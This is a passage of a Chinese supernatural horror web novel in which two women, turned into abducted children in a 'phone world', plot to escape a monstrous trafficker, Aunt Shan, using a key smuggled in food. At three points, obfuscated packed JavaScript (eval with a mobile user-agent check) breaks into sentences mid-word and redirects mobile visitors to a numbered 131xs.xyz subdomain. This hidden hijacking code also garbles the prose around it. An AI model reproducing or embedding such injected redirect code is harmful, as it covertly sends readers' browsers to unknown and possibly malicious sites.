否则它们不停打了挂,挂了打,舒司鸢来的第一天就能秒变透明。 “这样的话,假设昨晚光头大叔、小男孩和鱼尾裙女人都在睡觉的话,光头大叔最多只能失去躯干和双臂。”黄铃珑顺着她的思路推断下去。 “可是小男孩很特殊。”舒司鸢接话道。 小男孩已经完全获得人类的身体了,也许他不受到重复通话规则的束缚。 但这样就又绕回来了,还是那句话,小男孩真能这样做的话,她们没人能活过一个晚上。 “到底怎样才能出去啊。”黄铃珑跺地板的声音更大了,她在没有窗户的房子里待了好几天,心情不免烦躁。 舒司鸢没有立刻回应,她再次解锁老板的手机,一张张检查起那四张照片。 翻到第二张时,她的手顿在半空。 画面中央,赫然是小男孩的脸。 她恍然意识到什么,再去看其他孩子的脸,那些五官分明映在她眼中,可等她移开视线时,却从她脑海中滑走了。 “只有能在现实中被看见完整身体的透明人,才会被记录在照片里。”她来回滑动照片,叫黄铃珑也来看。 剩下五个孩子的脸无法被记忆,因为它们是透明的。 也就是说,小男孩是在昨晚才转化成功的。毕竟她在昨晚入睡前才查看过照片,当时她一张脸都没记住。 她又点了一下屏幕,照片缩小,回到聊天框,最底下是老板发的那句“回家”。 黄铃珑瞧了好几眼,回过味来了:“她的意思不会是,让我们送这些孩子回家吧?” 宾馆是老板的宾馆,说不定出路就在完成她给出的任务里。 “不一定是所有孩子,”舒司鸢心中微动,“你刚才注意到了吗?小男孩是可以出房间的。” 黄铃珑闻言回想,她们和小男孩说话的时候,对方确实有只脚迈出房门半步。 而其余透明人无法从房间中出去,除非它们取得自身所缺乏的那部分身体后。但这样所需的时间就太长了,半年来也只有小男孩一个成功了。 她们对视一眼,异口同声道:“没有门。” 宾馆的大门不见了,她们得找另外的出口。 手机自动息屏,映在舒司鸢眼底的光亮消失,取而代之的是黄铃珑的身影。对方显然有所顾虑,步子放得又轻又缓。 舒司鸢明白她在担心什么。 小男孩已经不是人类了,她们却要把他送回原来的家。 一个回到人群当中的鬼,他会做什么? 舒司鸢把手机放到床头柜上,发出细微的磕碰声,垂着眼帘一眼未看黄铃珑。 黄铃珑作为调查员,职责便是清除‘域’。然而逃出宾馆的方法,是亲手再打造一个‘域’。 她会怎么选? 无声的缄默里,她的余光将黄铃珑凝重的神态尽收眼底,舒司鸢在心里悄悄谋划起另一条计划。 如果黄铃珑甘于自困,也不想把小男孩带出去的话,她得趁早踹了这个临时队友,好自谋出路,省的关键时刻背刺她。 灯光照在她无法看清的面容上,睫毛投下两小片阴影。 她不是高尚的救世主。 “我们带他出去。” 沉默并没有持续太久,黄铃珑果断的声音传来。 舒司鸢一怔,差点以为自己听错了。抬头看向她,望进一双透彻的双眼。 舒司鸢能看懂黄铃珑的想法,黄铃珑亦是如此。 “宾馆会一直存在。进来的人越来越多,总会有人把他带出去,为什么不能是我?”黄铃珑念念叨叨,语气逐渐自信,“我提前清除掉这个‘域’,后面再来住这家宾馆的人还要感谢我呢。” “有道理。”舒司鸢由衷道。 “就这么决定了。”黄铃珑手握成拳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16303950|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,在空中挥了两下,“找门吧。” “关于出口在哪,我有一个想法。”舒司鸢欣慰于自己终于遇到一位达成共识的盟友,将自己的推想告诉她。 “真正的出口,也许在电话世界里。” 黄铃珑张着嘴巴,沉思几秒,努力跟上她的思路:“是因为那位穿着红色裙子的女士……” “对。她说过‘另一个世界’,这家宾馆的‘另一个世界’,就是透明人的世界。” 黄铃珑注意到自己的傻状,赶紧闭上嘴,反应过来自己还要说话,又张开了:“怎么过去?等透明人打电话的时候吗?” 毕竟透明人相互通话时,是她们彼此能够触碰的唯一时刻。 “是要用到电话,但还要另外一样道具。”舒司鸢吐出两个字,“蜡烛。” 那根由外卖员送来的蜡烛。它表面上能克制透明人,暗地里却是助长透明人实力的东西。 蜡烛燃烧时,透明人不会现身拨打电话。这个时候,活人去打电话,会怎么样? 黄铃珑一点就通:“点燃蜡烛后,我和你打电话!” 激动过后,她又垂下头,失落道:“可我们不知道房间的号码啊。” “昨天晚上我看到了。”舒司鸢让她放心,“我来打给你。” 不过她还是告知了黄铃珑她的房间号码,以免她这里突生变故,对方还能给她打来。 事不宜迟,她们商量着下单了一些防身用的物资,领到各自的蜡烛后回房点燃。 浴室内的蜡烛正好烧尽,舒司鸢招招手,芝麻竖起尾巴,从浴室中小跑出来。 她刚带着猫走到床边,黄铃珑的电话就打了过来。 “喂?”黄铃珑的声音仿佛镀上一层电流,有些失真。 “是我。”舒司鸢道,对着脚边的芝麻说,“叫一声。” 芝麻不为所动,专注地嗅着床头柜。 黄铃珑在那头对这句话不明所以,但还是配合地“啊”道。 舒司鸢没忍住笑了一声,手上动作不停。她把猫推倒在地板上,戳了一下它的肚子。 芝麻马上打她的手:“喵。” 黄铃珑也听见了,明白过来舒司鸢刚才是对猫说话。她有点发窘道:“你那边还有猫啊?” “嗯。关在浴室里了。”舒司鸢收回手,“我让它也说句话,万一它没过去呢。” 黄铃珑刚想说话,不料一阵天旋地转,她只来得及捏紧手里的购物袋,下一秒便被吸进了电话里。 …… “哇!”黄铃珑大口吸气吐气,穿越得猝不及防,她紧张得忘记了呼吸。 “没事吧?”舒司鸢关切道。她倒是适应良好,毕竟几天前才穿越过一次,怎么说也比黄铃珑有点经验。 黄铃珑靠着墙摇头,忽然意识到不对。 “我怎么变小了?”她难以置信地看着自己的细胳膊细腿。 “我们变成那些孩子了。”舒司鸢同样顶着一张小脸,把黄铃珑往角落里拉。 她们买的绳子小刀之类的东西全没跟着过来,芝麻也不在房间里。更别提小孩子力气小,跑得也不快,跟小鸡崽似的被人一抓一个准。她们急需商讨出对策。 然而已有一个小男孩听到了她们的对话,凑到她们跟前同情道,“小铃,我就说你被打傻了吧。” 黄铃珑一口气还没喘匀,先骂回去了:“你才傻!” 舒司鸢正要拉偏架,注意到这边动静的女孩走了过来。 她年纪比她们只大一点,语气却老成不少:“你们两个安静点。” 女孩朝门口投去惧怕的一眼,低声道:“还想被打吗?” 13. 透明的房客5 舒司鸢深谙苟命艺术,马上拉着黄铃珑保证她们再也不闹事了。 女孩严厉的目光扫过男孩,男孩也嘟囔着道歉。 为了防止她们一言不合又吵起来,女孩带着那个男孩走到房间的另一边,和舒司鸢她们隔着一张床的距离。 舒司鸢借着目送她们离开,环视房间一圈,靠近黄铃珑,用气音说:“加上我们,一共七个。” 黄铃珑也刚数了一遍人数。少的那个是203房中的小男孩。 黄铃珑说:“看来成功获得身体后,就等于离开电话世界了。” “买的东西留在原来的世界了,”黄铃珑语气忧愁,“我们还变成了这么小的小孩子,随便来个人都能一拳打到我俩。” 确实,舒司鸢看看自己的小身板儿,又看看黄铃珑的。她俩加起来连十岁也没有。 而且她更担心的是,芝麻还不知道有没有进入电话世界。 难道她猜错了,一台电话只有一个名额? 门外传来钥匙插入锁孔的声音,有人在粗暴地拧动门把手。 舒司鸢一惊,后背贴紧墙壁,她的手臂和黄铃珑的手臂挨着。黄铃珑温热的体温入侵薄薄的衣料,蔓延在她的皮肤上。 她的思绪回笼,专心盯着门。还是先顾好眼前的难关吧。 门“砰”地撞在墙壁上,整个房间为之一震,几块大小不一的墙灰扑簌簌落下。 舒司鸢的心跟着高高向外抛去。她看向门外,霎时沁出一背的冷汗。 门口处,逆光站着一个烧焦的“人”,形状上却更接近一段烧焦的枯木。它的四肢、躯干和脑袋都被拉长成一样的长度与粗细,但弯曲的程度不同,脑袋歪得最严重,已经垂到左肩上——如果那玩意儿有肩膀的话。 它一手端着汤碗,另一只手向下垂落,执一条柳条。 柳条不知抽过多少人,上面覆着一层油亮的红膜。 孩子们显然全被吓到了,但没人敢表现出恐惧,全部规规矩矩站好。 方才来劝过架的女孩上前,双手接过它手中的汤碗,低眉顺眼地说:“单阿姨,我来拿吧,您做饭辛苦了。” 女孩的声音谦卑恭敬,声调却毫无波澜。只有接碗时,她的小腿微不可察地打颤了一下。 被叫作单阿姨的怪物伸出手,在空中点了几下,似是在数人头。 人数没变少。她放下手,纹路斑驳的脸上裂开一条大缝,嗓音沙哑得像是吞过几把沙子:“很好。要是再少人,少几个我打你们几顿!” 单阿姨说到最后一句话,语调升腾起滔天怒意,恶狠狠地逐一盯过每个孩子。 它的头突然扭向舒司鸢,她的呼吸霎时凝固,大脑飞速运转。 房间里没有窗户,唯一的出口也被单阿姨牢牢堵住。 她强迫自己镇定下来,坦然与单阿姨对视,也就是这么一眼,她发觉单阿姨看的并不是她。 黄铃珑在她身旁发出细微的颤抖,连眼睛都忘记了眨动,眼珠外凸,似是要跳出眼眶。 单阿姨直勾勾地锁定黄铃珑,舒司鸢用一侧肩膀压住她,好让她的抖动看上去没有那么明显,顺便提醒她冷静点。 黄铃珑颤动的幅度小了些,却没有接到她的暗示。单阿姨先开口了,它说得很慢:“你怕我?” 此话一出,黄铃珑抖得更厉害了,舒司鸢不得不放开了她。 “单阿姨,她一冷就这样,是老毛病了。”舒司鸢模仿着那个女孩的语气,大着胆子说。 单阿姨的脑袋拔长,像拉面般被扯出长长一截,伸到黄铃珑面前,粗糙的焦肉摩擦过她的鼻尖,喉咙里咕隆一声:“是吗?” 黄铃珑听到舒司鸢为她解释,稍微找回一些理智,上下两排牙齿咯吱打架,挤出一丝声音:“……是。” 单阿姨与她脸贴着脸,大嘴仍张开着,喷出恶臭的气体,通体漆黑的尖牙上挂着碎肉,往前一伸便能刺破黄铃珑娇嫩的皮肉。 终于,它合上了嘴,脑袋也缩了回去。 “周一,你照顾她们吃饭,不要吵。” 单阿姨说,空出的那只手也无限延伸,穿过房间,抓起桌子上的空碗,随后倒着走出去锁上了门。 门刚一落锁,黄铃珑身体瞬间瘫软,跌倒在地。 “还好吗?”舒司鸢也蹲下去。 黄铃珑胸膛剧烈起伏,擂鼓般的心跳声砸着她的耳膜。她没听清舒司鸢的问话,手却用力抓着她的手腕。 名叫周一的女孩走过来,也蹲下身子,手抚上黄铃珑的额头,试了试温度,说道:“没事吧?” 黄铃珑缓过劲来,摇了摇头。 周一收回了手,往浴室瞥了一眼:“你们也去洗手吧,吃饭了。” 周一和舒司鸢合力把黄铃珑拉起来,舒司鸢扶着她去浴室。 最后一个孩子洗完了手,与她们擦身而过,好巧不巧给二人留出了交流的空间。 舒司鸢踩上洗手台前放的一张矮凳,打开了水龙头。 “刚才谢谢你。”哗哗的水流声里,黄铃珑尽力让自己的声音不被掩盖。 “没什么。”舒司鸢仔细地搓着手指。宾馆的水仿佛是从井里打上来的,凉得彻骨。 水流滑过皮肤,引起一阵刺痛。她定睛一看,那是几道狰狞的细长血痕,一直蔓延进袖子里。 “才不是没什么,要不是你,”舒司鸢洗好了,黄铃珑接替她的位置,“说不定我就死了。” “你死不了,”舒司鸢说,“顶多被抽几鞭子,打个半死吧。” 黄铃珑也看过老板与X的聊天记录,知道她们此刻是在什么情境里。因此她马上理解了舒司鸢的话。 冷得异常的水浇在黄铃珑手上,她狠狠哆嗦一下,凳子跟着晃了一下。 舒司鸢一脚踩在矮凳的一角,“那个单阿姨花了大力气拐了这么多孩子,它还指着我们换钱,不会杀我们。” “它希望我们怕它、顺从它,但又不希望我们表现出来,要我们恭恭敬敬地巴结它,”她总结道,“你之后再见到它,学那个叫周一的女孩子的做法。” 黄铃珑拼命点头。保命不挨打的方法是狂吹怪物彩虹屁。 “对了,我给你找的那个理由,”舒司鸢吞吞吐吐地说,“有点弊端。” 对上黄铃珑不解的目光,她解释道:“像你这种……嗯,有病的,卖的钱肯定要打折扣。单阿姨想挑刺撒气,你最容易被找上。” 她补充一句:“不是在骂你。” “我知道了。”这一点黄铃珑倒是不太放在心上,从小到大她磕磕碰碰的,受的伤多了去了,只要不丢命,挨多痛的打她都愿意。 “手最好洗干净点,”舒司鸢看着镜子里黄铃珑的脸,“对了,你这么害怕怪物的话,为什么还要当调查员啊?” 话音刚落,浴室的门被推开了,冒出周一的脑袋,“你们洗好没?” “好了好了。”黄铃珑关上水龙头,跳下矮凳,甩着手上的水珠,跟在舒司鸢后头出去了。 单阿姨给她们端来的饭是一碗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309009|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面。出锅的时间太久,面早已变得冷硬,表皮结着油点。 “就剩你们没吃了。”周一捧着碗,往她们手心里倒了两小坨面。 “吃吧,”舒司鸢劝她,“一天只有一顿饭。” 黄铃珑悲伤地将面团一口闷,怪不得舒司鸢叫她把手洗干净点。 她们又去洗黏糊糊的手,这一次有周一盯着,两人没找到说话的机会。 饭后,孩子们三三两两压着声音聊天,像一群蚊子在嗡嗡叫。 舒司鸢便趁机套起周一的话。得知七个人全是从周家村被单阿姨带进城的,已经过去一个礼拜了。周一也并非她的真名,而是单阿姨图方便,按年龄从大到小排序,分别叫一二三四五。 好随意的起名方式,舒司鸢默默腹诽,那她想当周六。 她没能如愿以偿,因为周一告诉她,舒司鸢就叫舒司鸢,黄铃珑也还是原名,或许是由于两人以真身进来的缘故,她们不是周家村的人。 “你本来叫什么?”舒司鸢好奇地问。 “我的原名是……是……”周一愣了下,表情刹那空白,眼珠疯狂往上翻,露出大片的眼白,片刻才骤然停滞,眼珠向下一转,恢复原先的模样,自如地说,“我就叫周一。” “你想回家吗?”舒司鸢换了个话题。 周一眼中流露怀念,总是蒙着阴霾的脸一下子明快起来,却没有回答,只是说:“去睡觉吧。” 因为舒司鸢给黄铃珑安了个莫须有的病,周一便安排黄铃珑睡在里侧,舒司鸢不想被别的孩子挤,干脆睡在最外侧,旁边只有一个黄铃珑。 她和黄铃珑对视一眼,默契地选择了远离门的那一侧。 周一关掉灯,房间陷入黑暗,如同有人用了好几罐黑色颜料把房间涂黑。 舒司鸢听着周一爬上床的窸窣声,在心里盘算明天要怎么溜出房间,调查一下宾馆的情况。 一直待在房间里,只能吃泡胀的面果腹。唯一走出房门的时候,就是单阿姨谈好价钱,把她卖掉的时候。 几个出门的借口闪过,舒司鸢一一估算着它们的可行性。然而小孩子的身体抵挡不住疲惫,她慢慢睡着了。 凌晨三点,门被往里推开一条细缝。 一线亮光漏进来,斜斜投射在床上,像是把熟睡的孩子们切断了。 舒司鸢本就睡得不安稳,此刻直接被光刺得惊醒,下一秒意识到身处何处,立刻又佯装睡着了。 难耐的寂静中,有人牵住了她的手,是黄铃珑,她也醒了。 光亮扩大,脚步声随之响起,它们进来了,在朝床靠近。 两种脚步声。一个是单阿姨的,还有一个是谁? 一块庞大的阴影投下。它在观察她们。 被子盖住了她们彼此交握的手,手湿漉漉的,分不清是谁的汗。她们互相汲取勇气。 臭味扑面而来,舒司鸢感到它在自己的正上方。 它鼻子里呼出的气流,拨动她额前的碎发,扎得她痒痒的,她强撑着保持不动。 喷出最后一口气,它移开了脸,去看别的孩子。 舒司鸢维持着不舒服的姿势,半边身子都麻了。 床忽然弹了一下,然后才是门被关上的声音。 不知道过去多久,周一起床去开灯了。 灯光亮起,意味着暂且安全的白日来临,她坐起身子,松了一口气。 她想和黄铃珑随便说两句话,便半转过身子,却僵在原地。 人少了一个。 14. 透明的房客6 不见的是那个昨天和黄铃珑搭过话的男孩,他分到的名字是周四。 周一叫她们全部起床去洗漱。舒司鸢掀开被子,跳下床,走到她身边,直截了当地问道:“周四被买走了?” “是啊,”周一掬一捧水,打湿指尖,给最小的女孩子擦脸,“男娃嘛,总是卖得快些。” 周一神色如常:“再说他年龄小,不容易记事,过个几年,就会彻底忘记自己从前是姓周的了。” 这话很难接,似乎就是奔着噎人的目的说出口的。舒司鸢从善如流地闭嘴去洗脸了,反正周一的话已经验证了她的一部分想法。 单阿姨连吃饭的筷子也不会给她们,自然也就不会花冤枉钱给她们买牙刷。黄铃珑吐掉带着一股铁锈味的冷水,嘴皮子都被冻得不太利索:“冷冷冷……照她的意思,我们被挑中的概率还挺大的……” 确实,她俩的性别虽说不太畅销,但两人在七个孩子中年纪偏小,像是应季水果上市时口感与质量较次的那一批,却胜在价格便宜,性价比高,所以也不愁没人买。 “今晚之前,必须逃出这个房间。小心……”舒司鸢的话说得极快极轻,话尾突兀收住。她将水龙头拧到最大,泼了黄铃珑一脸水,随后弯腰一头扎进池子里,双手胡乱揉脸。 舒司鸢大幅度的动作和未尽的话语,让黄铃珑迷惑不已,正欲开口,奈何她闪躲不及,被泼到了半张脸,只好先抹干水渍。 “你们俩每次都要洗这么久?” 黄铃珑把脸擦干的空当,周一几步走过来,伸手往前一推,原本半开的浴室门完全敞开,两手叉腰,语气责备。 黄铃珑下意识道歉,道歉到一半忽然明白过来,顿时愣住,凉意从脸上残余的几滴水珠蔓延到全身。 舒司鸢要她小心周一。 意识到这点,黄铃珑脑海中紧接着闪回过几幅相似的画面,拼图般拼合在一起。 周一。 她几次三番打断闯入浴室,打断她与舒司鸢的对话。 她是故意的,她不允许有人私下交谈,因为这些未能被她窥见的交谈,可能酝酿出一场逃跑的风暴。 她照顾孩子们,却也掌控孩子们,她是…… “监视。” 舒司鸢无声地对她作了个口型。周一要把门关上,正好背对着她。 周一警告似地看了她们一眼,穿过房间,占据了唯一一把椅子。 孩子们则坐在地上或床上,膝盖挨着膝盖,毛茸茸的脑袋相互抵着,纷纷猜测是什么样的人买了周四,然后紧跟着许愿自己能被好心肠的人快点买走。 地板上印着好几个不同的黑鞋印,和几颗风干的泥点。舒司鸢踩过地面,面对着周一坐到床上,黄铃珑坐到她身边。 空气中隐约浮动着酸臭变质的味道,那碗吃剩的面汤放在桌子上一晚没洗,在二十多度的气温里发酵出腻人的油味,一旦注意到后便如影随形。 舒司鸢忍受着这股味道,佯装与黄铃珑说些孩子气的话,实则暗地里观察着周一。 昨天晚饭后到睡觉前的这段时间里,她们和周一聊过。周一是七个孩子中最大的女孩子,她有十岁了,而年纪排在第二的周二才五岁。 照她本人的说法,剔除掉“男性”与“幼龄”的标签后,周一就是款滞销商品。 她上能奉承单阿姨,下能命令孩子们,做起这一切来得心应手。 单阿姨留下了她,但从来不忘推销她。若有一天,有人提出要买下周一,无论金额大小,单阿姨必定选择把她脱手。 周一不会看不清这一点,却反而更加卖力地讨好单阿姨,盼望它能够永远留下她。 舒司鸢的视线从周一身上移开,落到门口。 门被单阿姨从外面锁上了,要出去只能等她进来送饭的时候。 半夜她们睡觉时门也会开,但那时会一下进来两个怪物,她吃饱了撑的去送死。 再说她也没吃饱。 还好来电话世界之前她吃过面包,否则那两小口面,只够她吊着一口气活着。 她刚想到单阿姨端着碗进来的模样,单阿姨就仿佛和她心有灵犀似的,站在门外拿钥匙打开了门。 舒司鸢没有错过周一脸上意外的表情。单阿姨出现在她们的房间里,要么是晚上来送饭,要么是半夜陪着买家来挑选。 此时此刻它却突然造访,情况发生了变化。 舒司鸢揉着被子的一角,定定地盯着门口。 于她而言,变化意味着机会。 单阿姨扭曲的身体静静地在原地站立了一会儿,脑袋还在歪着,一双只有眼白的双眼扫视过每个人,接着往旁边一让,露出后面的人。 不同于单阿姨和怪物买家,那是个再正常不过的人。 还是个舒司鸢才见过不久的熟人。 住在207的光头大叔迈步进入房间,带着一副明显审视的神情,眼神相当锐利,直射而来。 忽然,他眼神一凝,随即迸发出光彩,径直走向坐在地板上的小女孩,掰过她的肩膀,分辨着那张灰扑扑的小脸。 “她多少钱?”光头大叔扭头问单阿姨。 单阿姨惯会看人下菜碟,知道光头大叔这是非周五不可,当即狮子大开口,要了一大笔钱。 光头大叔冷笑一声:“少蒙我,男娃女娃,行价多少,几岁该减几成,我比你清楚。” 说着,他提溜起周五夹在腋下,气势丝毫不输高得脑袋顶到天花板的单阿姨,“你按最低价卖我,我最多让你两成利。” 单阿姨权衡良久,最终说道:“三成。” 光头大叔便从口袋里摸出一把皱巴巴的钞票,一张夹杂其中的照片不慎掉落下来。 光头大叔赶忙蹲了下去。舒司鸢抢先一步,几乎是飞扑着摔在地上,一瞥眼看清照片上依偎的两个女孩。她迅速收回视线,捡起那张照片,还给光头大叔。 卷着毛边的褪色照片回到光头大叔的口袋,他往食指上吐了口唾沫,捻起钞票的边数起来。 周五注视着那些钱一张一张数齐叠好,反应过来,“哇”地一声哭起来。 单阿姨当然不包售后服务,咧开嘴吞下钱,立刻要光头大叔把哭得像烧水壶烧开了水的周五带走。 光头大叔也被她闹得心烦意乱,又黑又粗的眉毛夹起来,“周小苗,别哭了!” 光头大叔抱着她出去了,单阿姨又如同一棵静默的大树挺立着,凝视着她们,看舒司鸢的时间最久,终于转身离开了。 尚未关上的房门外,依稀传来周五哭得上气不接下气,抽噎着反驳:“我……我叫周五……” “你不叫周小苗来着?”光头大叔说。 门缝中,舒司鸢看到光头大叔站在对面房间的门前,在给周五看那张照片。 她眯起眼睛,竭力看清小小一块的门牌号。 然后门彻底关上,他粗犷的声音隔上一层厚膜,“你看……是你不……” “咔哒。” 锁落下了。 被挑剩的孩子们重新关入牢笼。 黄铃珑想问照片的事,却徒然生出一种被盯上的感觉。她的头转来转去,发现是周一直直地看着她们。 黄铃珑吞咽了下,掩饰自己的紧张。 舒司鸢察觉到这股暗流涌动,给了黄铃珑一个让她安心的眼神。 黄铃珑按捺下满肚子的疑问,等待着周一放松的时机。 再怎么说这具身体里也是个成年人的灵魂,周一再早慧,也不过是个区区十岁的小毛孩。 黄铃珑偏过脸,无视周一。 鉴于舒司鸢和黄铃珑两人行踪诡异,尤其是舒司鸢多此一举替光头大叔捡照片,周一把她们盯得很紧,不允许她们一起进入浴室上厕所。 不能一起,那就先后进去。率先进入浴室的舒司鸢想给黄铃珑传递信息,转了一圈实在没找到方法,只好先出来了。 结果她刚出来,就被守在门口的周一堵回去了。 对方将浴室仔细检查过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325649|182388||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一遍,才放她出去。 舒司鸢示意黄铃珑不必进去了。两人坐回原位。 几个小时后,门忽地打开条缝。周一不得不拿起碗,起身出去了。她站在门口,竖起一根手指,放在嘴唇中间。 “保持安静”的命令是下给所有的孩子的,然而她只直勾勾望着舒司鸢。 舒司鸢朝她露出一个无害的笑容。 她就知道单阿姨不可能屈尊给她们洗碗。 周一一走,黄铃珑立刻问起舒司鸢关于照片的事。 舒司鸢说:“照片上是两个小女孩。其中一个是大叔的女儿,长得很像。另一个就是周小苗。” “他单方面认识周小苗,但不是很熟,只是认识而已。”黄铃珑说出自己方才观察的结论。 舒司鸢进一步道:“我想应该是他女儿拜托他找到自己失踪的朋友,也就是被拐卖的周小苗。” “他和单阿姨干的同一种勾当。自然清楚能在哪里找到周小苗。” 单阿姨把拐来的孩子们悄悄带入宾馆,买家则是这里的房客。所以在现实世界里,死亡的小孩们才会攻击入住宾馆的房客。 “这么多孩子,它到底是怎么带进来的……”黄铃珑半天才说道。 “扯远了,”黄铃珑收回发散的思绪,“还是想想怎么出去吧。” 房间里没有窗户,房门只在单阿姨来时才没上锁,钥匙只有单阿姨有,不过还有一个人能出去…… “有了,”黄铃珑冥思苦想后说道,“我取代周一成为单阿姨的走狗。” “等一下……”舒司鸢试图制止她。 黄铃珑却误解了她的意思,马上感激地说:“没想到你愿意代替我成为单阿姨的走狗。” 舒司鸢:“……我只是想提醒你,除了我们两个,外面还有一个人,说不定能为我们打开门。” 黄铃珑一点就通:“宾馆老板!” 她在手机上委托她们带孩子们回家,她们才由此进入电话世界。 黄铃珑激动地说:“老板是‘域’的创造者。‘域’的主体拥有对‘域’的绝对控制权。我们现在和她处于同一阵线,指哪她打哪,再来十个单阿姨都不怕。” 一段话说完,黄铃珑已经幻想到自己拳打脚踢单阿姨了。 然而她一抬头,却见舒司鸢平静地坐在她对面说道:“这里是电话世界。” 电话世界从‘域’中衍生,却不受‘域’的管辖,它是独立运行的。 舒司鸢肯定地说:“这些孩子才是电话世界的创造者。” 老板会觉得单阿姨可怖吗,应该是可恨吧。只有在骤然被迫离开家人的孩子们眼里,单阿姨才会是那种恐怖的怪物形象吧。 永远上锁的房门,越来越少的同伴,不听话就会挨打的日子。 一个怪物把她们从家带到宾馆,另一个怪物又把她们从宾馆带离,不知要到何处去,却一定是离家很远很远的地方。 “房间内也有我们的帮手,”舒司鸢转向坐在地上饿到吃手的周二和周三,“在这个世界里,孤立无援的只有单阿姨一个。” “那周一呢?”提起孩子,黄铃珑自然想到仍旧属于小孩的周一,“她——” 门嘎吱一响,又嘎吱一关。周一快速闪身溜进房间,手里稳稳当当端着方才带走的那个碗。 咸香的味道充斥在整个房间里,舒司鸢看到碗里冒尖的金黄色炒饭,红烧肉占了大半碗,还在冒着热气。 这不会是单阿姨准备的断头饭吧? “老板给的。”周一把碗放到桌子上,让她们都围过来,在碗里用勺子划出平均的五个格子。 周一铲起一格里的饭,想盛到小碗里,瓷勺却撞到一个坚硬的东西。 “当。” 闷闷的声音,大家都看了过去。 周一又挖了几勺,扯出一只小塑料袋。 塑料袋里装着一枚钥匙,贴着泛黄的白色贴纸。 上面是字迹模糊的三个数字——208。 15. 透明的房客7 舒司鸢站在外围,和周一隔着两个人。待看清周一手里的物品时,她的手从周二和周三相互挨着的肩膀中间穿过,直朝塑料袋而去。 周一往她手里塞了一碗饭。 舒司鸢:“?” 她捧着碗坐到一边去了。事已至此,先吃饭吧。 大家都分到了相同的份量,房间里一时只有碗勺碰撞的丁零当啷声,小孩子们吧唧吧唧吃饭的咀嚼声和吸鼻子的抽气声。 周一催促她们赶紧把饭吃完,几乎是每隔一分钟就朝门口望一眼。 周三最后一个把碗叠进汤碗里,周一立刻起身就要出门。 舒司鸢拦住了她:“这么多东西你一个人不好拿,我和你一起去吧。” “不需要,我刚才不也是一个人拿的。”周一一口回绝,她用钥匙打开锁,最终还是说了一句,“安静待着,等我回来再说。” 周一刚走,黄铃珑马上欢快地说道:“有了钥匙,我们就能出去了。” 周二和周三本来就对那把钥匙感兴趣,但她们没胆子问周一,此刻听到有人提起,便抹着油腻腻的嘴走过来。 “擦一下。”黄铃珑抽出几张纸巾给她们,指指自己的嘴角,接着转向舒司鸢,“周一不会自己偷偷跑了吧?” “周一姐姐才不会丢下我们呢。”周二板起脸,不高兴地看着黄铃珑。周三从她身后探出脑袋,拼命点头。 周一当然会丢下她们自己逃跑。 留下其余的孩子为她拖延时间,反正周一对单阿姨来说只是可有可无的添头。 不过周一根本跑不掉,要真能靠着那把钥匙就能出去,方才出门的就是舒司鸢,而不是周一了。 舒司鸢收好脸上不自觉流露的嘲弄神情,虚伪地附和了一声周二和周三,决定给自己捞两个小跟班。 听到她维护周一,周二周三一下子和她亲近许多,站得离她近了一些。 周二和周三还想和她说点周一的事情,正主便回来了。 她在这方天地里,依旧像个呼风唤雨的小领导,拍了拍桌子,示意所有人听她讲话。 “你们吃饭时应该也看见了,我手上有房间的钥匙。”周一从口袋小心地掏出钥匙,晃了两下又很快收回去。 五双眼睛齐齐盯着那把划过空气的钥匙。 周二和周三当场忘记新朋友舒司鸢,转而凑近周一,仰起充满希冀的小脸看她。 “我们是不是可以回家了?”周三抓着周一的袖口问道。 “是可以,”周一拂开她的手,“但不是现在。” 周三着急地直跺脚,“干嘛不快点跑?” “因为还有两个多小时,单阿姨就会来给我们送晚饭。”舒司鸢插了一句嘴,眼睛直直看向周一——这话她是解释给周一听的。 “对,”周一赞许地说,“我们最好等到第二天早上,这样就能多出整整一天的时间。” 是会多出一天,但也会少一个人。周一无所谓,会被买走的又不会是她。 周一的算盘珠子拨得劈啪响,舒司鸢这次却没有多嘴把话挑明。 周三不疑有他,乖乖地应下。周二年纪比她大一些,觉察出不对劲的地方,问道:“晚上不是会有……” “没想起来,那就晚饭后吧。”周一改口道。 周二和周三得到肯定回答,一想到再待两个小时就能回家,她们顿时叽叽喳喳地谈论起回到家后,要先把温老师布置的作业补上。 她俩不再缠着周一,舒司鸢便走到周一身边站定,向她问道:“你见到这里的老板了吗?她长什么样?” 周一摇了摇头:“没见到。我在厨房里洗碗的时候,那碗饭已经放在那里了,下面垫着一张老板写的纸条,说是让我们拿去吃。” “大厅里也没人?” “没有。”周一说。 舒司鸢看出她神情有异,追问道:“也没有门?” 周一变了脸色,目光如炬:“你知道什么?” “猜的,”舒司鸢不客气地说,“不然你早就跑了吧。” 